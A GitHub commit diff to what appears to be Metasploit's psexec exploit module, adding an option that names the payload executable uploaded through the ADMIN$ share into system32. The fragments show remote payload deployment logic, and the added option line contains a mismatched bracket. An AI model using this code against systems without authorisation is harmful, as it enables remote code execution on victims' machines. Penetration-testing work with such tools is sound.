Skip to content

Commit 71c68d0

Browse files
committed
Allow user ability to set filename for psexec service binary
This should probably be higher up for all generate_payload_exe but would take a major edit
1 parent 3d5eb24 commit 71c68d0

File tree

1 file changed

+4
-3
lines changed

1 file changed

+4
-3
lines changed

modules/exploits/windows/smb/psexec.rb

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -82,7 +82,8 @@ def initialize(info = {})
8282
register_advanced_options(
8383
[
8484
OptBool.new('DB_REPORT_AUTH', [true, "Report an auth_note upon a successful connection", true]),
85-
OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false])
85+
OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false]),
86+
OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil)
8687
], self.class)
8788
end
8889

@@ -133,7 +134,7 @@ def exploit
133134
return
134135
end
135136
simple.connect("ADMIN$")
136-
filename = rand_text_alpha(8) + ".exe"
137+
datastore['SERVICE_FILENAME'] ? filename = datastore['SERVICE_FILENAME'] : filename = rand_text_alpha(8) + ".exe"
137138
exe = generate_payload_exe
138139
fd = smb_open("\\system32\\#{filename}", 'rwct')
139140
fd << exe
@@ -152,7 +153,7 @@ def exploit
152153
# Disconnect from the ADMIN$
153154
simple.disconnect("ADMIN$")
154155
else
155-
filename = rand_text_alpha(8) + ".exe"
156+
datastore['SERVICE_FILENAME'] ? filename = datastore['SERVICE_FILENAME'] : filename = rand_text_alpha(8) + ".exe"
156157
servicename = rand_text_alpha(8)
157158

158159
# Upload the shellcode to a file

0 commit comments

Comments
 (0)